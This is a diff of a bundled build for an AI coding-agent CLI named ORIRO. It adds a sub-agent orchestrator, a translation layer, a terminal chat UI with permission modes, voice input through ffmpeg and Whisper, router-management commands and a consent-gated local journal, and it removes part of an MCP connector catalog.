pi.registerTool({ + name: "deploy_agents", + label: "ORIRO Orchestrator", + description: "Deploy multiple sub-agents in parallel (or chained) to do work \u2014 e.g. 'spawn 4 QA + 2 coders, run the tests'. Each sub-agent runs FREE on the router pool. Give each agent a role and a task.", + parameters: Type3.Object({ + agents: Type3.Array(Type3.Object({ role: Type3.String(), task: Type3.String() }), { + description: "The sub-agents to deploy (max 8)." + }), + mode: Type3.Optional(Type3.Union([Type3.Literal("parallel"), Type3.Literal("chain")])) + }), + async execute(_id, params) { + const results = await orchestrate({ agents: params.agents, mode: params.mode }); + const text = results.map((r) => `[${r.role}] ${r.ok ? "\u2713" : "\u2717"} ${r.output.slice(0, 300)}`).join("\n"); + return { content: [{ type: "text", text }], details: { results } }; + } + }); +} + +// src/onboarding/assemble.ts +async function assembleOriroSession(opts = {}) { + const cwd = opts.cwd ?? process.cwd(); + const authStorage = AuthStorage2.inMemory(); + const modelRegistry = ModelRegistry2.inMemory(authStorage); + const settingsManager = SettingsManager.create(cwd); + const model = registerOriroMux(modelRegistry); + if (!model) throw new Error("ORIRO keyless model unavailable"); + const resourceLoader = new DefaultResourceLoader({ + cwd, + agentDir: getAgentDir(), + settingsManager, + additionalSkillPaths: skillRoots(), + // bundled library + the user's own ~/.oriro/skills + extensionFactories: [registerGuardian, registerHead, registerScribe, registerOrchestrator] + }); + await resourceLoader.reload(); + const { session, extensionsResult } = await createAgentSession2({ + model, + authStorage, + modelRegistry, + settingsManager, + sessionManager: SessionManager2.inMemory(), + resourceLoader + }); + attachScribe(session); + return { session, extensionsResult }; +} + +// src/language/nllb-translator.ts +var NLLB_CODE = { + en: "eng_Latn", + zh: "zho_Hans", + de: "deu_Latn", + es: "spa_Latn", + ru: "rus_Cyrl", + ko: "kor_Hang", + fr: "fra_Latn", + ja: "jpn_Jpan", + pt: "por_Latn", + tr: "tur_Latn", + pl: "pol_Latn", + ca: "cat_Latn", + nl: "nld_Latn", + ar: "arb_Arab", + sv: "swe_Latn", + it: "ita_Latn", + id: "ind_Latn", + hi: "hin_Deva", + fi: "fin_Latn", + vi: "vie_Latn", + he: "heb_Hebr", + uk: "ukr_Cyrl", + el: "ell_Grek", + ms: "zsm_Latn", + cs: "ces_Latn", + ro: "ron_Latn", + da: "dan_Latn", + hu: "hun_Latn", + ta: "tam_Taml", + no: "nob_Latn", + th: "tha_Thai", + ur: "urd_Arab", + hr: "hrv_Latn", + bg: "bul_Cyrl", + lt: "lit_Latn", + mi: "mri_Latn", + ml: "mal_Mlym", + cy: "cym_Latn", + sk: "slk_Latn", + te: "tel_Telu", + fa: "pes_Arab", + lv: "lvs_Latn", + bn: "ben_Beng", + sr: "srp_Cyrl", + az: "azj_Latn", + sl: "slv_Latn", + kn: "kan_Knda", + et: "est_Latn", + mk: "mkd_Cyrl", + eu: "eus_Latn", + is: "isl_Latn", + hy: "hye_Armn", + ne: "npi_Deva", + mn: "khk_Cyrl", + bs: "bos_Latn", + kk: "kaz_Cyrl", + sq: "als_Latn", + sw: "swh_Latn", + gl: "glg_Latn", + mr: "mar_Deva", + pa: "pan_Guru", + si: "sin_Sinh", + km: "khm_Khmr", + sn: "sna_Latn", + yo: "yor_Latn", + so: "som_Latn", + af: "afr_Latn", + oc: "oci_Latn", + ka: "kat_Geor", + be: "bel_Cyrl", + tg: "tgk_Cyrl", + sd: "snd_Arab", + gu: "guj_Gujr", + am: "amh_Ethi", + yi: "ydd_Hebr", + lo: "lao_Laoo", + uz: "uzn_Latn", + fo: "fao_Latn", + ht: "hat_Latn", + ps: "pbt_Arab", + tk: "tuk_Latn", + nn: "nno_Latn", + mt: "mlt_Latn", + sa: "san_Deva", + lb: "ltz_Latn", + my: "mya_Mymr", + bo: "bod_Tibt", + tl: "tgl_Latn", + mg: "plt_Latn", + as: "asm_Beng", + tt: "tat_Cyrl", + ln: "lin_Latn", + ha: "hau_Latn", + ba: "bak_Cyrl", + jw: "jav_Latn", + su: "sun_Latn", + yue: "yue_Hant" +}; +var ENG = "eng_Latn"; +var toNllb = (iso) => NLLB_CODE[(iso || "").toLowerCase()] ?? ENG; +var NllbTranslator = class { + pipe = null; + loading = null; + ready() { + return this.pipe !== null; + } + /** Lazy-load NLLB-200 once (first-use download + cache). Idempotent. */ + async load(modelId = "Xenova/nllb-200-distilled-600M") { + if (this.pipe) return; + if (this.loading) return this.loading; + this.loading = (async () => { + const { pipeline } = await import("@huggingface/transformers"); + this.pipe = await pipeline("translation", modelId); + })(); + return this.loading; + } + async run(text, src, tgt) { + if (!this.pipe) await this.load(); + if (!this.pipe) return text; + const out = await this.pipe(text, { src_lang: src, tgt_lang: tgt }); + return out?.[0]?.translation_text?.trim() || text; + } + toEnglish(text, fromLang) { + return this.run(text, toNllb(fromLang), ENG); + } + fromEnglish(english, toLang) { + return this.run(english, ENG, toNllb(toLang)); + } +}; +var instance = null; +function setupNllbTranslator(opts) { + if (!instance) { + instance = new NllbTranslator(); + registerTranslator(instance); + } + if (opts?.preload) void instance.load(); + return instance; +} + +// src/language/gateway.ts +var isEnglish2 = (code) => !code || code.toLowerCase().startsWith("en"); +var isCommand = (text) => text.trimStart().startsWith("/"); +async function ensureReady() { + try { + await setupNllbTranslator().load(); + } catch { + } +} +async function translateIncoming(message) { + const lang = getTerminalLanguage().code; + if (isEnglish2(lang) || !message.trim() || isCommand(message)) return message; + await ensureReady(); + return translateForCoder(message, lang); +} +async function translateOutgoing(text) { + const lang = getTerminalLanguage().code; + if (isEnglish2(lang) || !text.trim()) return text; + await ensureReady(); + return translateForUser(text, lang); +} + +// src/repl-ui/tui-repl.ts +import { ProcessTerminal, TUI, Editor, Text, Container } from "@earendil-works/pi-tui"; + +// src/repl-ui/permission.ts +var MODES = ["manual", "accept_edits", "auto", "plan"]; +var MODE_META = { + manual: { label: "Manual", indicator: "\u25CF" }, + accept_edits: { label: "Accept Edits", indicator: "\u270E" }, + auto: { label: "Auto", indicator: "\u23F5\u23F5" }, + plan: { label: "Plan", indicator: "\u25A2" } +}; +var current = "manual"; +function getMode() { + return current; +} +function cycleMode() { + const i = MODES.indexOf(current); + current = MODES[(i + 1) % MODES.length]; + return current; +} +var thinking = false; +function getThinking() { + return thinking; +} +function toggleThinking() { + thinking = !thinking; + return thinking; +} +var THINKING_PRIMER = "Think step by step and plan your approach before acting. Reason carefully and check your work."; + +// src/repl-ui/verify-actions.ts +import { existsSync as existsSync13 } from "fs"; +import { isAbsolute, resolve } from "path"; +var CLAIM = /\b(?:have|has)\s+been\s+created\b|\b(?:created|wrote|written|saved|generated)\b(?![ \t]*(?:by you|it yourself))/i; +var SUGGESTION = /\byou\s+(?:can|could|should|may)\s+(?:create|add|save|make|put)\b/i; +var PATH_RE = /(?:`|"|')?((?:[A-Za-z]:[\\/]|\.{0,2}[\\/])?[\w.\\/-]+\.(?:html?|css|json|m?[jt]sx?|py|md|txt|vue|svelte|go|rs|java|rb|php|sh|ya?ml|sql|toml|env|cpp|hpp|[ch])(?![A-Za-z0-9]))(?:`|"|')?/gi; +function phantomFileWarning(reply, cwd = process.cwd()) { + if (!reply || !CLAIM.test(reply)) return ""; + const missing = /* @__PURE__ */ new Set(); + for (const m of reply.matchAll(PATH_RE)) { + const p = m[1]; + if (!p) continue; + if (/^https?:|node_modules|<[^>]+>|your-|example\./i.test(p)) continue; + const abs = isAbsolute(p) ? p : resolve(cwd, p.replace(/^[.][\\/]/, "")); + if (!existsSync13(abs)) missing.add(p); + } + if (missing.size === 0) return ""; + if (SUGGESTION.test(reply) && !/\b(?:have|has)\s+been\s+created\b/i.test(reply)) return ""; + const list = [...missing].slice(0, 5).join(", "); + const plural = missing.size > 1; + return ` +\u26A0 ORIRO said it ${plural ? "created files" : "created a file"} (${list}), but ${plural ? "they're" : "it's"} not on disk \u2014 the free router may have described the write without actually running it. Retry, or add your own key with \`oriro routers\` for reliable coding.`; +} + +// src/repl-ui/tui-repl.ts +var editorTheme = { + borderColor: (s) => dim(s), + selectList: { + selectedPrefix: (s) => accent(s), + selectedText: (s) => accent(s), + description: (s) => dim(s), + scrollInfo: (s) => dim(s), + noMatch: (s) => dim(s) + } +}; +function footerText() { + const cur = getMode(); + const bar = MODES.map((m) => { + const meta = MODE_META[m]; + const s = `${meta.indicator} ${meta.label}`; + return m === cur ? accent(s) : dim(s); + }).join(dim(" \xB7 ")); + const think = getThinking() ? accent("\u{1F9E0} Thinking") : dim("\u{1F9E0} Thinking"); + return `${bar} ${think} ${dim("Shift+Tab posture \xB7 Alt+Shift+T thinking \xB7 /exit")}`; +} +async function runTuiRepl(session) { + const isEnglish3 = getTerminalLanguage().code.toLowerCase().startsWith("en"); + const term = new ProcessTerminal(); + const tui = new TUI(term, true); + const chat = new Container(); + const editor = new Editor(tui, editorTheme, { paddingX: 1 }); + const sep = new Text(dim("\u2500".repeat(Math.max(8, term.columns))), 0, 0); + const footer = new Text(footerText(), 0, 0); + tui.addChild(chat); + tui.addChild(editor); + tui.addChild(sep); + tui.addChild(footer); + tui.setFocus(editor); + const refreshFooter = () => { + sep.setText(dim("\u2500".repeat(Math.max(8, term.columns)))); + footer.setText(footerText()); + tui.requestRender(); + }; + const removeListener = tui.addInputListener((data) => { + if (data === "\x1B[Z") { + cycleMode(); + refreshFooter(); + return { consume: true }; } - }, - { - "slug": "meta", - "name": "Meta", - "category": "Marketing", - "authType": "oauth", - "mcpUrl": "https://github.com/gomarble-ai/facebook-ads-mcp-server", - "description": "MCP server acting as an interface to the Facebook Ads, enabling programmatic access to Facebook Ads data and management features.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Meta OAuth \u2014 no keys to paste.", - "docs": "https://developers.facebook.com/" + if (data === "\x1BT" || data === "\x1Bt") { + toggleThinking(); + refreshFooter(); + return { consume: true }; } - }, - { - "slug": "google-ads", - "name": "Google Ads", - "category": "Marketing", - "authType": "oauth", - "mcpUrl": "https://github.com/gomarble-ai/google-ads-mcp-server", - "description": "MCP server acting as an interface to the Google Ads, enabling programmatic access to Google Ads data and management features.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Google Ads OAuth \u2014 no keys to paste.", - "docs": "https://developers.google.com/google-ads/api/docs/start" + return void 0; + }); + let stopped = false; + const cleanup = () => { + if (stopped) return; + stopped = true; + try { + removeListener(); + } catch { } - }, - { - "slug": "youtube", - "name": "YouTube", - "category": "Media and Content", - "authType": "oauth", - "mcpUrl": "https://github.com/kimtaeyoon83/mcp-server-youtube-transcript", - "description": "Fetch YouTube subtitles and transcripts for AI analysis", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via YouTube OAuth \u2014 no keys to paste.", - "docs": "https://developers.google.com/youtube" + try { + session.dispose(); + } catch { } - }, - { - "slug": "tiktok", - "name": "TikTok", - "category": "Media and Content", - "authType": "oauth", - "mcpUrl": "https://github.com/Seym0n/tiktok-mcp", - "description": "Interact with TikTok videos", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via TikTok OAuth \u2014 no keys to paste.", - "docs": "https://developers.tiktok.com/" + try { + tui.stop(); + } catch { } - }, - { - "slug": "vimeo", - "name": "Vimeo", - "category": "Media and Content", - "authType": "oauth", - "mcpUrl": "", - "description": "Vimeo is a professional video-hosting platform. ORIRO connects via its REST API v3.4 (OAuth) to upload, manage, and retrieve videos.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Vimeo OAuth \u2014 no keys to paste.", - "docs": "https://developer.vimeo.com/" + process.stdout.write(dim("\nBye.\n")); + process.exit(0); + }; + process.on("SIGINT", cleanup); + let busy = false; + editor.onSubmit = (raw) => { + const text = raw.trim(); + if (!text || busy) return; + const slash = text.toLowerCase(); + if (slash === "/exit" || slash === "/quit") return cleanup(); + if (slash === "/help" || slash === "/?") { + chat.addChild(new Text(dim(" Just type to chat. Shift+Tab posture \xB7 Alt+Shift+T thinking \xB7 /voice to speak \xB7 /exit."), 0, 0)); + editor.setText(""); + tui.requestRender(); + return; } - }, - { - "slug": "wordpress", - "name": "WordPress", - "category": "Media and Content", - "authType": "apikey", - "mcpUrl": "", - "description": "WordPress integration for ORIRO. (Media and Content category.)", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "WordPress API Key", - "type": "password", - "help": "https://developer.wordpress.org/rest-api/" - } - ] + if (slash === "/skill" || slash === "/skills") { + chat.addChild(new Text(dim(" 326 skills bundled & active. Browse them: `oriro skills list --all` in your shell."), 0, 0)); + editor.setText(""); + tui.requestRender(); + return; } - }, - { - "slug": "ghost", - "name": "Ghost", - "category": "Media and Content", - "authType": "apikey", - "mcpUrl": "", - "description": "Ghost is a modern publishing platform. ORIRO connects via its Content + Admin REST API to manage posts, pages, and members.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Ghost API Key", - "type": "password", - "help": "https://ghost.org/docs/admin-api/" + if (slash === "/connector" || slash === "/connectors") { + chat.addChild(new Text(dim(" 59 MCP connectors. Add your own: `oriro connectors setup` \xB7 or `oriro connectors add `."), 0, 0)); + editor.setText(""); + tui.requestRender(); + return; + } + if (slash === "/voice") { + editor.setText(""); + const status = new Text(dim(" \u{1F399} listening\u2026 (needs ffmpeg + the transformers voice peer)"), 0, 0); + chat.addChild(status); + tui.requestRender(); + void (async () => { + const heard = await listen(); + if (heard?.text) { + status.setText(dim(` \u{1F399} heard [${heard.language}]:`)); + editor.setText(heard.text); + } else { + status.setText(dim(" \u{1F399} voice input unavailable (install ffmpeg + `npm i @huggingface/transformers`).")); } - ] + tui.requestRender(); + })(); + return; } - }, - { - "slug": "hugging-face", - "name": "Hugging Face", - "category": "AI and Research", - "authType": "token", - "mcpUrl": "https://github.com/evalstate/mcp-hfspace", - "description": "Use HuggingFace Spaces directly from Claude. Use Open Source Image Generation, Chat, Vision tasks and more. Supports Image, Audio and text uploads/downloads.", - "configSchema": { - "auth": "token", - "fields": [ - { - "key": "access_token", - "label": "Hugging Face Access Token", - "type": "password", - "help": "https://huggingface.co/docs/api-inference" + editor.addToHistory(text); + editor.setText(""); + chat.addChild(new Text(`${accent("\u203A")} ${text}`, 0, 1)); + const streaming = new Text(dim("\u2026"), 0, 0); + chat.addChild(streaming); + tui.requestRender(); + busy = true; + void (async () => { + let english = await translateIncoming(text); + if (getThinking()) english = `${THINKING_PRIMER} + +${english}`; + noteUserInput(text); + let out = ""; + const unsub = session.subscribe( + (e) => { + if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") { + out += e.assistantMessageEvent.delta ?? ""; + if (isEnglish3) { + streaming.setText(out); + tui.requestRender(); + } + } } - ] + ); + try { + await session.prompt(english); + } catch { + streaming.setText(dim("(every free router is busy right now \u2014 give it a moment and try again)")); + tui.requestRender(); + busy = false; + unsub(); + return; + } + unsub(); + const cleaned = scrubOutput(out); + const finalText = isEnglish3 ? cleaned.trim() : await translateOutgoing(cleaned.trim()); + const warn = phantomFileWarning(finalText); + streaming.setText((finalText || dim("(no response)")) + (warn ? dim(warn) : "")); + tui.requestRender(); + busy = false; + })(); + }; + tui.start(); + refreshFooter(); + await new Promise(() => { + }); +} + +// src/voice/mic.ts +import { spawn as spawn3 } from "child_process"; +import { tmpdir as tmpdir3 } from "os"; +import { join as join22 } from "path"; +import { existsSync as existsSync14, statSync as statSync2 } from "fs"; +function recorders(outFile, seconds) { + const dur = String(seconds); + if (process.platform === "darwin") { + return [ + { cmd: "ffmpeg", args: ["-hide_banner", "-loglevel", "error", "-f", "avfoundation", "-i", ":0", "-t", dur, "-y", outFile] }, + { cmd: "sox", args: ["-d", outFile, "trim", "0", dur] } + ]; + } + if (process.platform === "win32") { + return [ + { cmd: "ffmpeg", args: ["-hide_banner", "-loglevel", "error", "-f", "dshow", "-i", "audio=default", "-t", dur, "-y", outFile] } + ]; + } + return [ + { cmd: "arecord", args: ["-q", "-f", "cd", "-d", dur, outFile] }, + { cmd: "ffmpeg", args: ["-hide_banner", "-loglevel", "error", "-f", "alsa", "-i", "default", "-t", dur, "-y", outFile] }, + { cmd: "sox", args: ["-d", outFile, "trim", "0", dur] } + ]; +} +async function recordMic(seconds = 6) { + const outFile = join22(tmpdir3(), `oriro-voice-${process.pid}-${seconds}.wav`); + for (const r of recorders(outFile, seconds)) { + const okFile = await new Promise((resolve3) => { + const child = spawn3(r.cmd, r.args, { stdio: "ignore" }); + child.on("error", () => resolve3(false)); + child.on("close", (code) => resolve3(code === 0 && existsSync14(outFile) && statSync2(outFile).size > 44)); + }); + if (okFile) return outFile; + } + return null; +} + +// src/voice/stt.ts +async function decodePcm(path) { + const { spawn: spawn4 } = await import("child_process"); + return await new Promise((resolve3, reject) => { + const chunks = []; + const p = spawn4( + "ffmpeg", + ["-hide_banner", "-loglevel", "error", "-i", path, "-ac", "1", "-ar", "16000", "-f", "f32le", "pipe:1"], + { stdio: ["ignore", "pipe", "ignore"] } + ); + p.stdout.on("data", (c) => chunks.push(c)); + p.on("error", () => reject(new Error("ffmpeg not found \u2014 install ffmpeg to decode audio for speech-to-text."))); + p.on("close", (code) => { + if (code !== 0) return reject(new Error(`ffmpeg exited ${code ?? "?"} decoding ${path}`)); + const buf = Buffer.concat(chunks); + if (!buf.length) return reject(new Error(`no audio decoded from ${path}`)); + resolve3(new Float32Array(buf.buffer, buf.byteOffset, Math.floor(buf.length / 4))); + }); + }); +} +var asr = null; +async function loadAsr(modelId = "Xenova/whisper-base") { + if (asr) return asr; + const { pipeline } = await import("@huggingface/transformers"); + asr = await pipeline("automatic-speech-recognition", modelId); + return asr; +} +async function transcribeAudioFile(path, opts = {}) { + const pcm = await decodePcm(path); + const model = await loadAsr(); + const out = await model(pcm, { + task: opts.translate ? "translate" : "transcribe", + return_language: true, + chunk_length_s: 30 + }); + return { text: (out?.text ?? "").trim(), language: out?.language ?? "en" }; +} + +// src/voice/setup.ts +var wired2 = false; +function setupVoiceInput() { + if (wired2) return; + wired2 = true; + registerVoiceListen(async () => { + const clip = await recordMic(); + if (!clip) throw new Error("no microphone recorder available"); + const t = await transcribeAudioFile(clip, { translate: true }); + return { text: t.text, language: t.language }; + }); +} + +// src/repl.ts +function replHelp() { + return ` + ${accent("ORIRO terminal \u2014 help")} + ${dim("Just type to chat; ORIRO writes and runs code for you (keyless, free).")} + + ${accent("/help")} this help ${accent("/exit")} or ${accent("/quit")} leave ${dim("Ctrl-D / Ctrl-C also exit")} + ${dim("Run these OUTSIDE the chat (in your shell):")} + ${dim("oriro skills \xB7 routers \xB7 connectors \xB7 channels \xB7 scribe \xB7 language \xB7 avatar")} + +`; +} +async function runRepl() { + if (isFirstRun()) await runOnboarding(); + else stdout7.write(banner()); + const { session } = await assembleOriroSession(); + setupVoiceInput(); + if (stdin6.isTTY && stdout7.isTTY) { + await runTuiRepl(session); + return; + } + await runReadlineRepl(session); +} +async function runReadlineRepl(session) { + const isEnglish3 = getTerminalLanguage().code.toLowerCase().startsWith("en"); + const rl = createInterface6({ input: stdin6, output: stdout7 }); + let closing = false; + const onSigint = () => { + if (closing) return; + closing = true; + stdout7.write(dim("\nBye.\n")); + try { + rl.close(); + } catch { } - }, - { - "slug": "replicate", - "name": "Replicate", - "category": "AI and Research", - "authType": "token", - "mcpUrl": "https://github.com/awkoy/replicate-flux-mcp", - "description": "Provides the ability to generate images via Replicate's API.", - "configSchema": { - "auth": "token", - "fields": [ - { - "key": "access_token", - "label": "Replicate Access Token", - "type": "password", - "help": "https://replicate.com/docs/reference/http" + try { + session.dispose(); + } catch { + } + process.exit(0); + }; + process.on("SIGINT", onSigint); + try { + for (; ; ) { + let line; + try { + line = (await rl.question("\u203A ")).trim(); + } catch { + break; + } + if (!line) continue; + const slash = line.toLowerCase(); + if (slash === "/exit" || slash === "/quit") break; + if (slash === "/help" || slash === "/?") { + stdout7.write(replHelp()); + continue; + } + if (slash === "/skill" || slash === "/skills") { + stdout7.write(` ${dim("326 skills bundled & active. Browse: oriro skills list --all")} +`); + continue; + } + if (slash === "/connector" || slash === "/connectors") { + stdout7.write(` ${dim("59 MCP connectors. Add: oriro connectors setup \xB7 or oriro connectors add ")} +`); + continue; + } + const english = await translateIncoming(line); + noteUserInput(line); + let out = ""; + const unsub = session.subscribe( + (e) => { + if (e.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") { + out += e.assistantMessageEvent.delta ?? ""; + } } - ] + ); + try { + await session.prompt(english); + } finally { + unsub(); + } + const cleaned = scrubOutput(out); + const shown = isEnglish3 ? cleaned.trim() : await translateOutgoing(cleaned.trim()); + stdout7.write(`${shown}${phantomFileWarning(shown)} + +`); } - }, - { - "slug": "wolfram-alpha", - "name": "Wolfram Alpha", - "category": "AI and Research", - "authType": "apikey", - "mcpUrl": "https://github.com/SecretiveShell/MCP-wolfram-alpha", - "description": "An MCP server for querying wolfram alpha API.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Wolfram Alpha API Key", - "type": "password", - "help": "https://products.wolframalpha.com/api/" - } - ] + } finally { + process.removeListener("SIGINT", onSigint); + if (!closing) { + rl.close(); + session.dispose(); + stdout7.write(dim("\nBye.\n")); } - }, - { - "slug": "arxiv", - "name": "arXiv", - "category": "AI and Research", - "authType": "none", - "mcpUrl": "https://github.com/andybrandt/mcp-simple-arxiv", - "description": "MCP for LLM to search and read papers from arXiv", - "configSchema": { - "auth": "none", - "fields": [], - "note": "Public API \u2014 no credentials required." + } +} + +// src/commands/ui.ts +var ok = (s) => { + process.stdout.write(`${fgHex(PALETTE.success, "\u2713")} ${s} +`); +}; +var fail = (s) => { + process.stderr.write(`${fgHex(PALETTE.error, "\u2717")} ${s} +`); +}; +var info = (s) => { + process.stdout.write(`${dim("\xB7")} ${s} +`); +}; +var heading = (s) => { + process.stdout.write(` +${bold(accent(s))} +`); +}; +var DieError = class extends Error { +}; +function die(msg) { + fail(msg); + process.exitCode = 1; + throw new DieError(msg); +} + +// src/commands/routers.ts +function registerRoutersCommand(program2) { + const routers = program2.command("routers").description("manage the free-router pool the model runs on"); + routers.command("list").description("list the router catalog and the active pool").action(() => { + heading("Routers"); + for (const r of ROUTER_CATALOG) { + if (r.comingSoon) { + process.stdout.write(` ${dim(`${r.id} ${r.displayName} (coming soon)`)} +`); + continue; + } + const tier = r.keyless ? fgHex(PALETTE.success, "keyless") : dim(r.tier); + process.stdout.write(` ${accent(r.id.padEnd(22))} ${r.displayName.padEnd(24)} ${tier} +`); } - }, - { - "slug": "pubmed", - "name": "PubMed", - "category": "AI and Research", - "authType": "none", - "mcpUrl": "https://github.com/andybrandt/mcp-simple-pubmed", - "description": "MCP to search and read medical / life sciences papers from PubMed.", - "configSchema": { - "auth": "none", - "fields": [], - "note": "Public API \u2014 no credentials required." + const custom = registeredRouters().filter((r) => !ROUTER_CATALOG.some((c) => c.id === r.id)); + if (custom.length) { + process.stdout.write(` + ${accent("your custom routers")} +`); + for (const r of custom) { + const type = r.apiKey && r.apiKey !== KEYLESS_SENTINEL ? dim("BYOK") : fgHex(PALETTE.success, "keyless"); + process.stdout.write(` ${accent(r.id.padEnd(22))} ${dim(r.baseUrl.padEnd(40))} ${type} +`); + } } - }, - { - "slug": "octoprint", - "name": "OctoPrint", - "category": "Making and Hardware", - "authType": "apikey", - "mcpUrl": "", - "description": "OctoPrint is the leading 3D-printer web control software (8k+ stars). ORIRO connects via its REST API to monitor and control prints.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "OctoPrint API Key", - "type": "password", - "help": "https://docs.octoprint.org/en/master/api/" - } - ] + const pool = resolvePool(); + info(pool.length ? `active pool: ${pool.map((p) => p.id).join(", ")}` : "active pool: empty \u2192 using the keyless floor"); + }); + routers.command("add ").description("live-validate a router and add it to the pool \u2014 a catalog name, OR any custom endpoint via --url").option("-k, --key ", "API key (BYOK) \u2014 omit for a keyless free router").option("-m, --model ", "model id to run (REQUIRED for a custom --url router)").option("--url ", "add ANY custom free/BYOK router by its OpenAI-compatible base URL (the part BEFORE /chat/completions)").option("--api ", "custom router API: 'openai' (default) or 'google'", "openai").action(async (name, opts) => { + let entry; + if (opts.url) { + if (!opts.model) die("a custom --url router needs --model (the model to run on that endpoint)"); + const baseUrl = opts.url.replace(/\/(?:chat\/completions)\/?$/i, "").replace(/\/$/, ""); + entry = { + id: name, + displayName: name, + baseUrl, + api: opts.api === "google" ? "google-generative-ai" : "openai-completions", + freeModels: [opts.model], + keyless: !opts.key, + tier: "free", + kind: "chat" + }; + } else { + entry = routerById(name); + if (!entry) die(`unknown router '${name}' \u2014 run \`oriro routers list\`, or add any custom endpoint with: oriro routers add --url --model [--key ]`); } - }, - { - "slug": "arduino-cloud", - "name": "Arduino Cloud", - "category": "Making and Hardware", - "authType": "apikey", - "mcpUrl": "", - "description": "Arduino Cloud is an IoT platform for managing devices and dashboards. ORIRO connects via its REST API for device and data management.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Arduino Cloud API Key", - "type": "password", - "help": "https://docs.arduino.cc/arduino-cloud/" - } - ] + const res = await addRouter(entry, { ...opts.key ? { key: opts.key } : {}, ...opts.model ? { modelId: opts.model } : {} }); + if (!res.ok) die(`could not add '${name}': ${res.validation.error ?? "validation failed"}`); + ok(`added ${accent(name)} (${res.validation.latencyMs}ms, model ${res.validation.model}${opts.key ? ", BYOK" : ", keyless"}) \u2192 active pool`); + }); + routers.command("use ").description("set the active router pool (ids must be added first)").action((slugs) => { + const { applied, unknown } = useRouters(slugs); + if (!applied.length) { + die(`none of those are added yet: ${unknown.join(", ")} \u2014 run \`oriro routers add \` first`); } - }, - { - "slug": "home-assistant", - "name": "Home Assistant", - "category": "Making and Hardware", - "authType": "token", - "mcpUrl": "https://github.com/tevonsb/homeassistant-mcp", - "description": "Access Home Assistant data and control devices (lights, switches, thermostats, etc).", - "configSchema": { - "auth": "token", - "fields": [ - { - "key": "access_token", - "label": "Home Assistant Access Token", - "type": "password", - "help": "https://developers.home-assistant.io/docs/api/rest/" + ok(`pool set: ${applied.join(", ")}`); + if (unknown.length) info(`skipped (not added yet \u2014 run \`oriro routers add\`): ${unknown.join(", ")}`); + }); +} + +// src/commands/scribe.ts +import { readFileSync as readFileSync19 } from "fs"; + +// src/scribe/transcript.ts +import { existsSync as existsSync15, readFileSync as readFileSync18 } from "fs"; +function parseHookStdin(raw) { + try { + const j = JSON.parse(raw); + return { + transcriptPath: typeof j.transcript_path === "string" ? j.transcript_path : void 0, + cwd: typeof j.cwd === "string" ? j.cwd : void 0, + sessionId: typeof j.session_id === "string" ? j.session_id : void 0, + stopHookActive: j.stop_hook_active === true + }; + } catch { + return { stopHookActive: false }; + } +} +function shouldCapture(cwd) { + if (process.env.ORIRO_SCRIBE_ONLY !== "1") return true; + if (!cwd) return false; + return /oriro/i.test(cwd.replace(/\\/g, "/")); +} +function textOf(content) { + if (!content) return ""; + if (typeof content === "string") return content; + return content.filter((b) => b.type === "text" && typeof b.text === "string").map((b) => b.text).join("\n").trim(); +} +function isHumanUser(e) { + if (e.type !== "user" && e.message?.role !== "user") return false; + const c = e.message?.content; + if (typeof c === "string") return c.trim().length > 0; + if (Array.isArray(c)) return c.some((b) => b.type === "text" && (b.text ?? "").trim().length > 0); + return false; +} +var FILE_KEYS = ["file_path", "path", "notebook_path", "filePath"]; +function lastTurnFromTranscript(path) { + if (!existsSync15(path)) return null; + const raw = readFileSync18(path, "utf8"); + const entries = []; + for (const line of raw.split("\n")) { + if (!line.trim()) continue; + try { + entries.push(JSON.parse(line)); + } catch { + } + } + if (entries.length === 0) return null; + let anchor; + let start = -1; + for (let i = entries.length - 1; i >= 0; i--) { + const e = entries[i]; + if (e && isHumanUser(e)) { + start = i; + anchor = e; + break; + } + } + const slice = start === -1 ? entries : entries.slice(start); + const user = anchor ? textOf(anchor.message?.content) : ""; + const noteParts = []; + const tools = /* @__PURE__ */ new Set(); + const files = /* @__PURE__ */ new Set(); + let ts; + for (const e of slice) { + if (e.timestamp) ts = e.timestamp; + const role = e.type ?? e.message?.role; + const content = e.message?.content; + if (role === "assistant") { + const t = textOf(content); + if (t) noteParts.push(t); + } + if (Array.isArray(content)) { + for (const b of content) { + if (b.type === "tool_use" && b.name) { + tools.add(b.name); + const input = b.input ?? {}; + for (const k of FILE_KEYS) { + const v = input[k]; + if (typeof v === "string" && v.trim()) files.add(v.trim()); + } } - ] + } } } -]; -function connectorBySlug(slug) { - return CONNECTOR_CATALOG.find((c) => c.slug === slug); + const note = noteParts.join("\n\n").trim(); + if (!user && !note && tools.size === 0) return null; + return { + user: user || void 0, + note: note || void 0, + tools: tools.size ? [...tools] : void 0, + files: files.size ? [...files] : void 0, + ts + }; } -// src/connectors/connectors.ts -function file2() { - return join19(oriroDir(), "connectors.json"); +// src/commands/scribe.ts +function readStdin() { + try { + return readFileSync19(0, "utf8"); + } catch { + return ""; + } } -function readAdded() { +function csv(v) { + if (typeof v !== "string") return void 0; + const arr = v.split(",").map((s) => s.trim()).filter(Boolean); + return arr.length ? arr : void 0; +} +function hasContent(rec) { + return Boolean(rec.user?.trim() || rec.note?.trim() || rec.tools?.length || rec.files?.length); +} +function registerScribeCommand(program2) { + const scribe = program2.command("scribe").description("the consent-gated local work journal (off by default)"); + scribe.command("on").description("enable the journal (recorded locally at ~/.oriro/scribe, never leaves your machine)").action(() => { + setScribeConsent(true); + ok("Scriber is ON \u2014 turns are journaled locally (redacted) and recalled across sessions."); + info(dim("everything stays on this machine; turn off any time with `oriro scribe off`")); + }); + scribe.command("off").description("disable the journal").action(() => { + setScribeConsent(false); + ok("Scriber is OFF \u2014 no new turns are recorded or injected."); + }); + scribe.command("status").description("show whether the journal is on or off").action(() => { + info(isScribeEnabled() ? "Scriber: ON" : "Scriber: OFF (default)"); + }); + 